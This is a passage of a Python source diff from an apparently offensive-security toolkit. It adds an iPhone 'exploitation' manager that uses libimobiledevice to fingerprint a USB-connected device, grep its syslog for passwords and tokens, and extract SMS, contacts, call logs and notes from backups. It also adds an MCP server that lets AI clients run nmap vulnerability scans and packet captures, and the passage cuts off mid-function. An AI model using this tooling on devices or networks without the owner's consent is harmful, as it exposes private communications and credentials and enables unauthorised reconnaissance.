self._operation_progress[op_id]['progress'] = 3
self._operation_progress[op_id]['message'] = 'Erasing flash...'
proc.wait(timeout=300)
output = '\n'.join(output_lines)
with self._operation_lock:
if proc.returncode == 0:
self._operation_progress[op_id] = {
'status': 'done', 'progress': 100,
'message': 'Flash complete',
'output': output,
}
else:
self._operation_progress[op_id] = {
'status': 'error', 'progress': 0,
'message': output or 'Flash failed',
}
except Exception as e:
with self._operation_lock:
self._operation_progress[op_id] = {
'status': 'error', 'progress': 0, 'message': str(e),
}
thread = threading.Thread(target=_do_flash, daemon=True)
thread.start()
return {'success': True, 'op_id': op_id}
# ── Serial Monitor ─────────────────────────────────────────────
def serial_monitor_start(self, port, baud=115200):
"""Start serial monitor on a port."""
if not PYSERIAL_AVAILABLE:
return {'success': False, 'error': 'pyserial not installed'}
if self._monitor_running:
return {'success': False, 'error': 'Monitor already running'}
try:
self._monitor_serial = serial.Serial(port, baud, timeout=0.1)
except Exception as e:
return {'success': False, 'error': str(e)}
self._monitor_running = True
self._monitor_buffer = []
def _read_loop():
while self._monitor_running and self._monitor_serial and self._monitor_serial.is_open:
try:
data = self._monitor_serial.readline()
if data:
text = data.decode('utf-8', errors='replace').rstrip()
with self._monitor_lock:
self._monitor_buffer.append({
'time': time.time(),
'data': text,
})
# Keep buffer manageable
if len(self._monitor_buffer) > 5000:
self._monitor_buffer = self._monitor_buffer[-3000:]
except Exception:
if not self._monitor_running:
break
time.sleep(0.1)
self._monitor_thread = threading.Thread(target=_read_loop, daemon=True)
self._monitor_thread.start()
return {'success': True, 'port': port, 'baud': baud}
def serial_monitor_stop(self):
"""Stop serial monitor."""
self._monitor_running = False
if self._monitor_serial and self._monitor_serial.is_open:
try:
self._monitor_serial.close()
except Exception:
pass
self._monitor_serial = None
return {'success': True}
def serial_monitor_send(self, data):
"""Send data to the monitored serial port."""
if not self._monitor_running or not self._monitor_serial:
return {'success': False, 'error': 'Monitor not running'}
try:
self._monitor_serial.write((data + '\n').encode('utf-8'))
return {'success': True}
except Exception as e:
return {'success': False, 'error': str(e)}
def serial_monitor_get_output(self, since_index=0):
"""Get buffered serial output since given index."""
with self._monitor_lock:
data = self._monitor_buffer[since_index:]
return {
'lines': data,
'total': len(self._monitor_buffer),
'running': self._monitor_running,
}
@property
def monitor_running(self):
return self._monitor_running
# ── Singleton ──────────────────────────────────────────────────────
_manager = None
def get_hardware_manager():
global _manager
if _manager is None:
_manager = HardwareManager()
return _manager

683
core/iphone_exploit.py Normal file
View File

@@ -0,0 +1,683 @@
"""
AUTARCH iPhone Exploitation Manager
Local USB device access via libimobiledevice tools.
Device info, screenshots, syslog, app management, backup extraction,
filesystem mounting, provisioning profiles, port forwarding.
"""
import os
import re
import json
import time
import shutil
import sqlite3
import subprocess
import plistlib
from pathlib import Path
from typing import Optional, Dict, Any
from core.paths import get_data_dir, find_tool
class IPhoneExploitManager:
"""All iPhone USB exploitation logic using libimobiledevice."""
# Tools we look for
TOOLS = [
'idevice_id', 'ideviceinfo', 'idevicepair', 'idevicename',
'idevicedate', 'idevicescreenshot', 'idevicesyslog',
'idevicecrashreport', 'idevicediagnostics', 'ideviceinstaller',
'idevicebackup2', 'ideviceprovision', 'idevicedebug',
'ideviceactivation', 'ifuse', 'iproxy',
]
def __init__(self):
self._base = get_data_dir() / 'iphone_exploit'
for sub in ('backups', 'screenshots', 'recon', 'apps', 'crash_reports'):
(self._base / sub).mkdir(parents=True, exist_ok=True)
# Find available tools
self._tools = {}
for name in self.TOOLS:
path = find_tool(name)
if not path:
path = shutil.which(name)
if path:
self._tools[name] = path
def _udid_dir(self, category, udid):
d = self._base / category / udid
d.mkdir(parents=True, exist_ok=True)
return d
def _run(self, tool_name, args, timeout=30):
"""Run a libimobiledevice tool."""
path = self._tools.get(tool_name)
if not path:
return '', f'{tool_name} not found', 1
cmd = [path] + args
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
return result.stdout, result.stderr, result.returncode
except subprocess.TimeoutExpired:
return '', 'Command timed out', 1
except Exception as e:
return '', str(e), 1
def _run_udid(self, tool_name, udid, args, timeout=30):
"""Run tool with -u UDID flag."""
return self._run(tool_name, ['-u', udid] + args, timeout=timeout)
def get_status(self):
"""Get availability of libimobiledevice tools."""
available = {name: bool(path) for name, path in self._tools.items()}
total = len(self.TOOLS)
found = sum(1 for v in available.values() if v)
return {
'tools': available,
'total': total,
'found': found,
'ready': found >= 3, # At minimum need idevice_id, ideviceinfo, idevicepair
}
# ── Device Management ────────────────────────────────────────────
def list_devices(self):
"""List connected iOS devices."""
stdout, stderr, rc = self._run('idevice_id', ['-l'])
if rc != 0:
return []
devices = []
for line in stdout.strip().split('\n'):
udid = line.strip()
if udid:
info = self.device_info_brief(udid)
devices.append({
'udid': udid,
'name': info.get('DeviceName', ''),
'model': info.get('ProductType', ''),
'ios_version': info.get('ProductVersion', ''),
})
return devices
def device_info(self, udid):
"""Get full device information."""
stdout, stderr, rc = self._run_udid('ideviceinfo', udid, [])
if rc != 0:
return {'error': stderr or 'Cannot get device info'}
info = {}
for line in stdout.split('\n'):
if ':' in line:
key, _, val = line.partition(':')
info[key.strip()] = val.strip()
return info
def device_info_brief(self, udid):
"""Get key device info (name, model, iOS version)."""
keys = ['DeviceName', 'ProductType', 'ProductVersion', 'BuildVersion',
'SerialNumber', 'UniqueChipID', 'WiFiAddress', 'BluetoothAddress']
info = {}
for key in keys:
stdout, _, rc = self._run_udid('ideviceinfo', udid, ['-k', key])
if rc == 0:
info[key] = stdout.strip()
return info
def device_info_domain(self, udid, domain):
"""Get device info for a specific domain."""
stdout, stderr, rc = self._run_udid('ideviceinfo', udid, ['-q', domain])
if rc != 0:
return {'error': stderr}
info = {}
for line in stdout.split('\n'):
if ':' in line:
key, _, val = line.partition(':')
info[key.strip()] = val.strip()
return info
def pair_device(self, udid):
"""Pair with device (requires user trust on device)."""
stdout, stderr, rc = self._run_udid('idevicepair', udid, ['pair'])
return {'success': rc == 0, 'output': (stdout or stderr).strip()}
def unpair_device(self, udid):
"""Unpair from device."""
stdout, stderr, rc = self._run_udid('idevicepair', udid, ['unpair'])
return {'success': rc == 0, 'output': (stdout or stderr).strip()}
def validate_pair(self, udid):
"""Check if device is properly paired."""
stdout, stderr, rc = self._run_udid('idevicepair', udid, ['validate'])
return {'success': rc == 0, 'paired': rc == 0, 'output': (stdout or stderr).strip()}
def get_name(self, udid):
"""Get device name."""
stdout, stderr, rc = self._run_udid('idevicename', udid, [])
return {'success': rc == 0, 'name': stdout.strip()}
def set_name(self, udid, name):
"""Set device name."""
stdout, stderr, rc = self._run_udid('idevicename', udid, [name])
return {'success': rc == 0, 'output': (stdout or stderr).strip()}
def get_date(self, udid):
"""Get device date/time."""
stdout, stderr, rc = self._run_udid('idevicedate', udid, [])
return {'success': rc == 0, 'date': stdout.strip()}
def set_date(self, udid, timestamp):
"""Set device date (epoch timestamp)."""
stdout, stderr, rc = self._run_udid('idevicedate', udid, ['-s', str(timestamp)])
return {'success': rc == 0, 'output': (stdout or stderr).strip()}
def restart_device(self, udid):
"""Restart device."""
stdout, stderr, rc = self._run_udid('idevicediagnostics', udid, ['restart'])
return {'success': rc == 0, 'output': (stdout or stderr).strip()}
def shutdown_device(self, udid):
"""Shutdown device."""
stdout, stderr, rc = self._run_udid('idevicediagnostics', udid, ['shutdown'])
return {'success': rc == 0, 'output': (stdout or stderr).strip()}
def sleep_device(self, udid):
"""Put device to sleep."""
stdout, stderr, rc = self._run_udid('idevicediagnostics', udid, ['sleep'])
return {'success': rc == 0, 'output': (stdout or stderr).strip()}
# ── Screenshot & Syslog ──────────────────────────────────────────
def screenshot(self, udid):
"""Take a screenshot."""
out_dir = self._udid_dir('screenshots', udid)
filename = f'screen_{int(time.time())}.png'
filepath = str(out_dir / filename)
stdout, stderr, rc = self._run_udid('idevicescreenshot', udid, [filepath])
if rc == 0 and os.path.exists(filepath):
return {'success': True, 'path': filepath, 'size': os.path.getsize(filepath)}
return {'success': False, 'error': (stderr or stdout).strip()}
def syslog_dump(self, udid, duration=5):
"""Capture syslog for a duration."""
out_dir = self._udid_dir('recon', udid)
logfile = str(out_dir / f'syslog_{int(time.time())}.txt')
try:
proc = subprocess.Popen(
[self._tools.get('idevicesyslog', 'idevicesyslog'), '-u', udid],
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True
)
time.sleep(duration)
proc.terminate()
stdout, _ = proc.communicate(timeout=3)
with open(logfile, 'w') as f:
f.write(stdout)
return {'success': True, 'path': logfile, 'lines': len(stdout.split('\n'))}
except Exception as e:
return {'success': False, 'error': str(e)}
def syslog_grep(self, udid, pattern, duration=5):
"""Capture syslog and grep for pattern (passwords, tokens, etc)."""
result = self.syslog_dump(udid, duration=duration)
if not result['success']:
return result
matches = []
try:
with open(result['path']) as f:
for line in f:
if re.search(pattern, line, re.IGNORECASE):
matches.append(line.strip())
except Exception:
pass
return {'success': True, 'matches': matches, 'count': len(matches), 'pattern': pattern}
def crash_reports(self, udid):
"""Pull crash reports from device."""
out_dir = self._udid_dir('crash_reports', udid)
stdout, stderr, rc = self._run_udid('idevicecrashreport', udid,
['-e', str(out_dir)], timeout=60)
if rc == 0:
files = list(out_dir.iterdir()) if out_dir.exists() else []
return {'success': True, 'output_dir': str(out_dir),
'count': len(files), 'output': stdout.strip()}
return {'success': False, 'error': (stderr or stdout).strip()}
# ── App Management ───────────────────────────────────────────────
def list_apps(self, udid, app_type='user'):
"""List installed apps. type: user, system, all."""
flags = {
'user': ['-l', '-o', 'list_user'],
'system': ['-l', '-o', 'list_system'],
'all': ['-l', '-o', 'list_all'],
}
args = flags.get(app_type, ['-l'])
stdout, stderr, rc = self._run_udid('ideviceinstaller', udid, args, timeout=30)
if rc != 0:
return {'success': False, 'error': (stderr or stdout).strip(), 'apps': []}
apps = []
for line in stdout.strip().split('\n'):
line = line.strip()
if not line or line.startswith('CFBundle') or line.startswith('Total'):
continue
# Format: com.example.app, "App Name", "1.0"
parts = line.split(',', 2)
if parts:
app = {'bundle_id': parts[0].strip().strip('"')}
if len(parts) >= 2:
app['name'] = parts[1].strip().strip('"')
if len(parts) >= 3:
app['version'] = parts[2].strip().strip('"')
apps.append(app)
return {'success': True, 'apps': apps, 'count': len(apps)}
def install_app(self, udid, ipa_path):
"""Install an IPA on device."""
if not os.path.isfile(ipa_path):
return {'success': False, 'error': f'File not found: {ipa_path}'}
stdout, stderr, rc = self._run_udid('ideviceinstaller', udid,
['-i', ipa_path], timeout=120)
return {'success': rc == 0, 'output': (stdout or stderr).strip()}
def uninstall_app(self, udid, bundle_id):
"""Uninstall an app by bundle ID."""
stdout, stderr, rc = self._run_udid('ideviceinstaller', udid,
['-U', bundle_id], timeout=30)
return {'success': rc == 0, 'bundle_id': bundle_id, 'output': (stdout or stderr).strip()}
# ── Backup & Data Extraction ─────────────────────────────────────
def create_backup(self, udid, encrypted=False, password=''):
"""Create a full device backup."""
backup_dir = str(self._base / 'backups')
args = ['backup', '--full', backup_dir]
if encrypted and password:
args = ['backup', '--full', backup_dir, '-p', password]
stdout, stderr, rc = self._run_udid('idevicebackup2', udid, args, timeout=600)
backup_path = os.path.join(backup_dir, udid)
success = os.path.isdir(backup_path)
return {
'success': success,
'backup_path': backup_path if success else None,
'encrypted': encrypted,
'output': (stdout or stderr).strip()[:500],
}
def list_backups(self):
"""List available local backups."""
backup_dir = self._base / 'backups'
backups = []
if backup_dir.exists():
for d in backup_dir.iterdir():
if d.is_dir():
manifest = d / 'Manifest.db'
info_plist = d / 'Info.plist'
backup_info = {'udid': d.name, 'path': str(d)}
if manifest.exists():
backup_info['has_manifest'] = True
backup_info['size_mb'] = sum(
f.stat().st_size for f in d.rglob('*') if f.is_file()
) / (1024 * 1024)
if info_plist.exists():
try:
with open(info_plist, 'rb') as f:
plist = plistlib.load(f)
backup_info['device_name'] = plist.get('Device Name', '')
backup_info['product_type'] = plist.get('Product Type', '')
backup_info['ios_version'] = plist.get('Product Version', '')
backup_info['date'] = str(plist.get('Last Backup Date', ''))
except Exception:
pass
backups.append(backup_info)
return {'backups': backups, 'count': len(backups)}
def extract_backup_sms(self, backup_path):
"""Extract SMS/iMessage from a backup."""
manifest = os.path.join(backup_path, 'Manifest.db')
if not os.path.exists(manifest):
return {'success': False, 'error': 'Manifest.db not found'}
try:
conn = sqlite3.connect(manifest)
cur = conn.cursor()
# Find SMS database file hash
cur.execute("SELECT fileID FROM Files WHERE relativePath = 'Library/SMS/sms.db' AND domain = 'HomeDomain'")
row = cur.fetchone()
conn.close()
if not row:
return {'success': False, 'error': 'SMS database not found in backup'}
file_hash = row[0]
sms_db = os.path.join(backup_path, file_hash[:2], file_hash)
if not os.path.exists(sms_db):
return {'success': False, 'error': f'SMS db file not found: {file_hash}'}
# Query messages
conn = sqlite3.connect(sms_db)
cur = conn.cursor()
cur.execute('''
SELECT m.rowid, m.text, m.date, m.is_from_me,
h.id AS handle_id, h.uncanonicalized_id
FROM message m
LEFT JOIN handle h ON m.handle_id = h.rowid
ORDER BY m.date DESC LIMIT 500
''')
messages = []
for row in cur.fetchall():
# Apple timestamps: seconds since 2001-01-01
apple_epoch = 978307200
ts = row[2]
if ts and ts > 1e17:
ts = ts / 1e9 # nanoseconds
date_readable = ''
if ts:
try:
date_readable = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(ts + apple_epoch))
except (ValueError, OSError):
pass
messages.append({
'id': row[0], 'text': row[1] or '', 'date': date_readable,
'is_from_me': bool(row[3]),
'handle': row[4] or row[5] or '',
})
conn.close()
return {'success': True, 'messages': messages, 'count': len(messages)}
except Exception as e:
return {'success': False, 'error': str(e)}
def extract_backup_contacts(self, backup_path):
"""Extract contacts from backup."""
manifest = os.path.join(backup_path, 'Manifest.db')
if not os.path.exists(manifest):
return {'success': False, 'error': 'Manifest.db not found'}
try:
conn = sqlite3.connect(manifest)
cur = conn.cursor()
cur.execute("SELECT fileID FROM Files WHERE relativePath = 'Library/AddressBook/AddressBook.sqlitedb' AND domain = 'HomeDomain'")
row = cur.fetchone()
conn.close()
if not row:
return {'success': False, 'error': 'AddressBook not found in backup'}
file_hash = row[0]
ab_db = os.path.join(backup_path, file_hash[:2], file_hash)
if not os.path.exists(ab_db):
return {'success': False, 'error': 'AddressBook file not found'}
conn = sqlite3.connect(ab_db)
cur = conn.cursor()
cur.execute('''
SELECT p.rowid, p.First, p.Last, p.Organization,
mv.value AS phone_or_email
FROM ABPerson p
LEFT JOIN ABMultiValue mv ON p.rowid = mv.record_id
ORDER BY p.Last, p.First
''')
contacts = {}
for row in cur.fetchall():
rid = row[0]
if rid not in contacts:
contacts[rid] = {
'first': row[1] or '', 'last': row[2] or '',
'organization': row[3] or '', 'values': []
}
if row[4]:
contacts[rid]['values'].append(row[4])
conn.close()
contact_list = list(contacts.values())
return {'success': True, 'contacts': contact_list, 'count': len(contact_list)}
except Exception as e:
return {'success': False, 'error': str(e)}
def extract_backup_call_log(self, backup_path):
"""Extract call history from backup."""
manifest = os.path.join(backup_path, 'Manifest.db')
if not os.path.exists(manifest):
return {'success': False, 'error': 'Manifest.db not found'}
try:
conn = sqlite3.connect(manifest)
cur = conn.cursor()
cur.execute("SELECT fileID FROM Files WHERE relativePath LIKE '%CallHistory%' AND domain = 'HomeDomain'")
row = cur.fetchone()
conn.close()
if not row:
return {'success': False, 'error': 'Call history not found in backup'}
file_hash = row[0]
ch_db = os.path.join(backup_path, file_hash[:2], file_hash)
if not os.path.exists(ch_db):
return {'success': False, 'error': 'Call history file not found'}
conn = sqlite3.connect(ch_db)
cur = conn.cursor()
cur.execute('''
SELECT ROWID, address, date, duration, flags, country_code
FROM ZCALLRECORD ORDER BY ZDATE DESC LIMIT 200
''')
flag_map = {4: 'incoming', 5: 'outgoing', 8: 'missed'}
calls = []
apple_epoch = 978307200
for row in cur.fetchall():
ts = row[2]
date_readable = ''
if ts:
try:
date_readable = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(ts + apple_epoch))
except (ValueError, OSError):
pass
calls.append({
'id': row[0], 'address': row[1] or '', 'date': date_readable,
'duration': row[3] or 0, 'type': flag_map.get(row[4], str(row[4])),
'country': row[5] or '',
})
conn.close()
return {'success': True, 'calls': calls, 'count': len(calls)}
except Exception as e:
return {'success': False, 'error': str(e)}
def extract_backup_notes(self, backup_path):
"""Extract notes from backup."""
manifest = os.path.join(backup_path, 'Manifest.db')
if not os.path.exists(manifest):
return {'success': False, 'error': 'Manifest.db not found'}
try:
conn = sqlite3.connect(manifest)
cur = conn.cursor()
cur.execute("SELECT fileID FROM Files WHERE relativePath LIKE '%NoteStore.sqlite%' AND domain = 'AppDomainGroup-group.com.apple.notes'")
row = cur.fetchone()
conn.close()
if not row:
return {'success': False, 'error': 'Notes database not found in backup'}
file_hash = row[0]
notes_db = os.path.join(backup_path, file_hash[:2], file_hash)
if not os.path.exists(notes_db):
return {'success': False, 'error': 'Notes file not found'}
conn = sqlite3.connect(notes_db)
cur = conn.cursor()
cur.execute('''
SELECT n.Z_PK, n.ZTITLE, nb.ZDATA, n.ZMODIFICATIONDATE
FROM ZICCLOUDSYNCINGOBJECT n
LEFT JOIN ZICNOTEDATA nb ON n.Z_PK = nb.ZNOTE
WHERE n.ZTITLE IS NOT NULL
ORDER BY n.ZMODIFICATIONDATE DESC LIMIT 100
''')
apple_epoch = 978307200
notes = []
for row in cur.fetchall():
body = ''
if row[2]:
try:
body = row[2].decode('utf-8', errors='replace')[:500]
except Exception:
body = '[binary data]'
date_readable = ''
if row[3]:
try:
date_readable = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(row[3] + apple_epoch))
except (ValueError, OSError):
pass
notes.append({'id': row[0], 'title': row[1] or '', 'body': body, 'date': date_readable})
conn.close()
return {'success': True, 'notes': notes, 'count': len(notes)}
except Exception as e:
return {'success': False, 'error': str(e)}
def list_backup_files(self, backup_path, domain='', path_filter=''):
"""List all files in a backup's Manifest.db."""
manifest = os.path.join(backup_path, 'Manifest.db')
if not os.path.exists(manifest):
return {'success': False, 'error': 'Manifest.db not found'}
try:
conn = sqlite3.connect(manifest)
cur = conn.cursor()
query = 'SELECT fileID, domain, relativePath, flags FROM Files'
conditions = []
params = []
if domain:
conditions.append('domain LIKE ?')
params.append(f'%{domain}%')
if path_filter:
conditions.append('relativePath LIKE ?')
params.append(f'%{path_filter}%')
if conditions:
query += ' WHERE ' + ' AND '.join(conditions)
query += ' LIMIT 500'
cur.execute(query, params)
files = []
for row in cur.fetchall():
files.append({
'hash': row[0], 'domain': row[1],
'path': row[2], 'flags': row[3],
})
conn.close()
return {'success': True, 'files': files, 'count': len(files)}
except Exception as e:
return {'success': False, 'error': str(e)}
def extract_backup_file(self, backup_path, file_hash, output_name=None):
"""Extract a specific file from backup by its hash."""
src = os.path.join(backup_path, file_hash[:2], file_hash)
if not os.path.exists(src):
return {'success': False, 'error': f'File not found: {file_hash}'}
out_dir = self._base / 'recon' / 'extracted'
out_dir.mkdir(parents=True, exist_ok=True)
dest = str(out_dir / (output_name or file_hash))
shutil.copy2(src, dest)
return {'success': True, 'path': dest, 'size': os.path.getsize(dest)}
# ── Filesystem ───────────────────────────────────────────────────
def mount_filesystem(self, udid, mountpoint=None):
"""Mount device filesystem via ifuse."""
if 'ifuse' not in self._tools:
return {'success': False, 'error': 'ifuse not installed'}
if not mountpoint:
mountpoint = str(self._base / 'mnt' / udid)
os.makedirs(mountpoint, exist_ok=True)
stdout, stderr, rc = self._run('ifuse', ['-u', udid, mountpoint])
return {'success': rc == 0, 'mountpoint': mountpoint, 'output': (stderr or stdout).strip()}
def mount_app_documents(self, udid, bundle_id, mountpoint=None):
"""Mount a specific app's Documents folder via ifuse."""
if 'ifuse' not in self._tools:
return {'success': False, 'error': 'ifuse not installed'}
if not mountpoint:
mountpoint = str(self._base / 'mnt' / udid / bundle_id)
os.makedirs(mountpoint, exist_ok=True)
stdout, stderr, rc = self._run('ifuse', ['-u', udid, '--documents', bundle_id, mountpoint])
return {'success': rc == 0, 'mountpoint': mountpoint, 'output': (stderr or stdout).strip()}
def unmount_filesystem(self, mountpoint):
"""Unmount a previously mounted filesystem."""
try:
subprocess.run(['fusermount', '-u', mountpoint], capture_output=True, timeout=10)
return {'success': True, 'mountpoint': mountpoint}
except Exception as e:
return {'success': False, 'error': str(e)}
# ── Provisioning Profiles ────────────────────────────────────────
def list_profiles(self, udid):
"""List provisioning profiles on device."""
stdout, stderr, rc = self._run_udid('ideviceprovision', udid, ['list'], timeout=15)
if rc != 0:
return {'success': False, 'error': (stderr or stdout).strip(), 'profiles': []}
profiles = []
current = {}
for line in stdout.split('\n'):
line = line.strip()
if line.startswith('ProvisionedDevices'):
continue
if ' - ' in line and not current:
current = {'id': line.split(' - ')[0].strip(), 'name': line.split(' - ', 1)[1].strip()}
elif line == '' and current:
profiles.append(current)
current = {}
if current:
profiles.append(current)
return {'success': True, 'profiles': profiles, 'count': len(profiles)}
def install_profile(self, udid, profile_path):
"""Install a provisioning/configuration profile."""
if not os.path.isfile(profile_path):
return {'success': False, 'error': f'File not found: {profile_path}'}
stdout, stderr, rc = self._run_udid('ideviceprovision', udid,
['install', profile_path], timeout=15)
return {'success': rc == 0, 'output': (stdout or stderr).strip()}
def remove_profile(self, udid, profile_id):
"""Remove a provisioning profile."""
stdout, stderr, rc = self._run_udid('ideviceprovision', udid,
['remove', profile_id], timeout=15)
return {'success': rc == 0, 'output': (stdout or stderr).strip()}
# ── Port Forwarding ──────────────────────────────────────────────
def port_forward(self, udid, local_port, device_port):
"""Set up port forwarding via iproxy (runs in background)."""
if 'iproxy' not in self._tools:
return {'success': False, 'error': 'iproxy not installed'}
try:
proc = subprocess.Popen(
[self._tools['iproxy'], '-u', udid, str(local_port), str(device_port)],
stdout=subprocess.PIPE, stderr=subprocess.PIPE
)
time.sleep(0.5)
if proc.poll() is not None:
_, err = proc.communicate()
return {'success': False, 'error': err.decode().strip()}
return {'success': True, 'pid': proc.pid,
'local': local_port, 'device': device_port}
except Exception as e:
return {'success': False, 'error': str(e)}
# ── Device Fingerprint ───────────────────────────────────────────
def full_fingerprint(self, udid):
"""Get comprehensive device fingerprint."""
fp = self.device_info(udid)
# Add specific domains
for domain in ['com.apple.disk_usage', 'com.apple.mobile.battery',
'com.apple.mobile.internal', 'com.apple.international']:
domain_info = self.device_info_domain(udid, domain)
if 'error' not in domain_info:
fp[f'domain_{domain.split(".")[-1]}'] = domain_info
return fp
def export_recon_report(self, udid):
"""Export full reconnaissance report."""
out_dir = self._udid_dir('recon', udid)
report = {
'udid': udid,
'timestamp': time.strftime('%Y-%m-%d %H:%M:%S'),
'device_info': self.device_info(udid),
'pair_status': self.validate_pair(udid),
'apps': self.list_apps(udid),
'profiles': self.list_profiles(udid),
}
report_path = str(out_dir / f'report_{int(time.time())}.json')
with open(report_path, 'w') as f:
json.dump(report, f, indent=2, default=str)
return {'success': True, 'report_path': report_path}
# ── Singleton ──────────────────────────────────────────────────────
_manager = None
def get_iphone_manager():
global _manager
if _manager is None:
_manager = IPhoneExploitManager()
return _manager

1465
core/llm.py Normal file

File diff suppressed because it is too large Load Diff

585
core/mcp_server.py Normal file
View File

@@ -0,0 +1,585 @@
"""
AUTARCH MCP Server
Exposes AUTARCH tools via Model Context Protocol (MCP)
for use with Claude Desktop, Claude Code, and other MCP clients.
"""
import sys
import os
import json
import socket
import subprocess
import threading
from pathlib import Path
from typing import Optional
# Ensure core is importable
_app_dir = Path(__file__).resolve().parent.parent
if str(_app_dir) not in sys.path:
sys.path.insert(0, str(_app_dir))
from core.config import get_config
from core.paths import find_tool, get_app_dir
# MCP server state
_server_process = None
_server_thread = None
def get_autarch_tools():
"""Build the list of AUTARCH tools to expose via MCP."""
tools = []
# ── Network Scanning ──
tools.append({
'name': 'nmap_scan',
'description': 'Run an nmap scan against a target. Returns scan results.',
'params': {
'target': {'type': 'string', 'description': 'Target IP, hostname, or CIDR range', 'required': True},
'ports': {'type': 'string', 'description': 'Port specification (e.g. "22,80,443" or "1-1024")', 'required': False},
'scan_type': {'type': 'string', 'description': 'Scan type: quick, full, stealth, vuln', 'required': False},
}
})
# ── GeoIP Lookup ──
tools.append({
'name': 'geoip_lookup',
'description': 'Look up geographic and network information for an IP address.',
'params': {
'ip': {'type': 'string', 'description': 'IP address to look up', 'required': True},
}
})
# ── DNS Lookup ──
tools.append({
'name': 'dns_lookup',
'description': 'Perform DNS lookups for a domain.',
'params': {
'domain': {'type': 'string', 'description': 'Domain name to look up', 'required': True},
'record_type': {'type': 'string', 'description': 'Record type: A, AAAA, MX, NS, TXT, CNAME, SOA', 'required': False},
}
})
# ── WHOIS ──
tools.append({
'name': 'whois_lookup',
'description': 'Perform WHOIS lookup for a domain or IP.',
'params': {
'target': {'type': 'string', 'description': 'Domain or IP to look up', 'required': True},
}
})
# ── Packet Capture ──
tools.append({
'name': 'packet_capture',
'description': 'Capture network packets using tcpdump. Returns captured packet summary.',
'params': {
'interface': {'type': 'string', 'description': 'Network interface (e.g. eth0, wlan0)', 'required': False},
'count': {'type': 'integer', 'description': 'Number of packets to capture (default 10)', 'required': False},
'filter': {'type': 'string', 'description': 'BPF filter expression', 'required': False},
}
})
# ── WireGuard Status ──
tools.append({
'name': 'wireguard_status',
'description': 'Get WireGuard VPN tunnel status and peer information.',
'params': {}
})
# ── UPnP Status ──
tools.append({
'name': 'upnp_status',
'description': 'Get UPnP port mapping status.',
'params': {}
})
# ── System Info ──
tools.append({
'name': 'system_info',
'description': 'Get AUTARCH system information: hostname, platform, uptime, tool availability.',
'params': {}
})
# ── LLM Chat ──
tools.append({
'name': 'llm_chat',
'description': 'Send a message to the currently configured LLM backend and get a response.',
'params': {
'message': {'type': 'string', 'description': 'Message to send to the LLM', 'required': True},
'system_prompt': {'type': 'string', 'description': 'Optional system prompt', 'required': False},
}
})
# ── Android Device Info ──
tools.append({
'name': 'android_devices',
'description': 'List connected Android devices via ADB.',
'params': {}
})
# ── Config Get/Set ──
tools.append({
'name': 'config_get',
'description': 'Get an AUTARCH configuration value.',
'params': {
'section': {'type': 'string', 'description': 'Config section (e.g. autarch, llama, wireguard)', 'required': True},
'key': {'type': 'string', 'description': 'Config key', 'required': True},
}
})
return tools
def execute_tool(name: str, arguments: dict) -> str:
"""Execute an AUTARCH tool and return the result as a string."""
config = get_config()
if name == 'nmap_scan':
return _run_nmap(arguments, config)
elif name == 'geoip_lookup':
return _run_geoip(arguments)
elif name == 'dns_lookup':
return _run_dns(arguments)
elif name == 'whois_lookup':
return _run_whois(arguments)
elif name == 'packet_capture':
return _run_tcpdump(arguments)
elif name == 'wireguard_status':
return _run_wg_status(config)
elif name == 'upnp_status':
return _run_upnp_status(config)
elif name == 'system_info':
return _run_system_info()
elif name == 'llm_chat':
return _run_llm_chat(arguments, config)
elif name == 'android_devices':
return _run_adb_devices()
elif name == 'config_get':
return _run_config_get(arguments, config)
else:
return json.dumps({'error': f'Unknown tool: {name}'})
def _run_nmap(args: dict, config) -> str:
nmap = find_tool('nmap')
if not nmap:
return json.dumps({'error': 'nmap not found'})
target = args.get('target', '')
if not target:
return json.dumps({'error': 'target is required'})
cmd = [str(nmap)]
scan_type = args.get('scan_type', 'quick')
if scan_type == 'stealth':
cmd.extend(['-sS', '-T2'])
elif scan_type == 'full':
cmd.extend(['-sV', '-sC', '-O'])
elif scan_type == 'vuln':
cmd.extend(['-sV', '--script=vuln'])
else:
cmd.extend(['-sV', '-T4'])
ports = args.get('ports', '')
if ports:
cmd.extend(['-p', ports])
cmd.append(target)
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=120)
return json.dumps({
'stdout': result.stdout,
'stderr': result.stderr,
'exit_code': result.returncode
})
except subprocess.TimeoutExpired:
return json.dumps({'error': 'Scan timed out after 120 seconds'})
except Exception as e:
return json.dumps({'error': str(e)})
def _run_geoip(args: dict) -> str:
ip = args.get('ip', '')
if not ip:
return json.dumps({'error': 'ip is required'})
try:
import urllib.request
url = f"http://ip-api.com/json/{ip}?fields=status,message,country,regionName,city,zip,lat,lon,timezone,isp,org,as,query"
with urllib.request.urlopen(url, timeout=10) as resp:
return resp.read().decode()
except Exception as e:
return json.dumps({'error': str(e)})
def _run_dns(args: dict) -> str:
domain = args.get('domain', '')
if not domain:
return json.dumps({'error': 'domain is required'})
record_type = args.get('record_type', 'A')
try:
result = subprocess.run(
['dig', '+short', domain, record_type],
capture_output=True, text=True, timeout=10
)
records = [r for r in result.stdout.strip().split('\n') if r]
return json.dumps({'domain': domain, 'type': record_type, 'records': records})
except FileNotFoundError:
# Fallback to socket for A records
try:
ips = socket.getaddrinfo(domain, None)
records = list(set(addr[4][0] for addr in ips))
return json.dumps({'domain': domain, 'type': 'A', 'records': records})
except Exception as e:
return json.dumps({'error': str(e)})
except Exception as e:
return json.dumps({'error': str(e)})
def _run_whois(args: dict) -> str:
target = args.get('target', '')
if not target:
return json.dumps({'error': 'target is required'})
try:
result = subprocess.run(
['whois', target],
capture_output=True, text=True, timeout=15
)
return json.dumps({'target': target, 'output': result.stdout[:4000]})
except FileNotFoundError:
return json.dumps({'error': 'whois command not found'})
except Exception as e:
return json.dumps({'error': str(e)})
def _run_tcpdump(args: dict) -> str:
tcpdump = find_tool('tcpdump')
if not tcpdump:
return json.dumps({'error': 'tcpdump not found'})
cmd = [str(tcpdump), '-n']
iface = args.get('interface', '')
if iface:
cmd.extend(['-i', iface])
count = args.get('count', 10)
cmd.extend(['-c', str(count)])
bpf_filter = args.get('filter', '')
if bpf_filter:
cmd.append(bpf_filter)
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
return json.dumps({
'stdout': result.stdout,
'stderr': result.stderr,
'exit_code': result.returncode
})
except subprocess.TimeoutExpired:
